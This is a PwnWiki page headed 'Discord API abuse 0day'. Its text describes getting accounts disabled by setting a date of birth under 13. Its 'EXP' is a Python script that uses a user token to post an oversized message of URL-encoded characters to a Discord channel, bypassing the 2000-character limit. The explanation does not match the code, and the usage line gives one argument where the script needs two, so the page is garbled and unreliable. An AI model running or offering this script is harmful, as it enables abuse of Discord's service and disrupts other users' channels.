Discord API abuse 0day

From PwnWiki
Revision as of 17:14, 11 April 2021 by FuzzyBot (talk | contribs) (Updating to match new version of source page)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎Deutsch • ‎English • ‎español • ‎русский • ‎українська • ‎中文(台灣)‎ • ‎中文(简体)‎
Hand.png 這個頁面需要補充,如果您了解該內容,請直接編輯詞條。


Vulnerability principle:

Set the date of birth of the account to be less than 13 years old to disable tokens, because Discord will automatically disable accounts with owners less than 13 years old.

Please note that accounts that have already set up DoB are not affected by this vulnerability.

EXP:

Usage:

python example.py <token>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos

import requests
import random
import sys

class Exploit:

    def __init__(self, token, channel):
        self.token = token
        self.channel_id = channel
        self.headers = {'Authorization': token}

    @property
    def uri(self):
        chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
        return f'<a://a{chars}>'

    def execute(self):
        """ send magical URI """
        return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})

    
def main():
    if len(sys.argv) < 3:
        print(f'Usage: py {sys.argv[0]} <token> <channel id>')
        sys.exit()

    token = sys.argv[1]
    channel_id = sys.argv[2]

    exploit = Exploit(token, channel_id)

    exploit.execute()


if __name__ == '__main__':
    main()


Author:

The original author is unknown.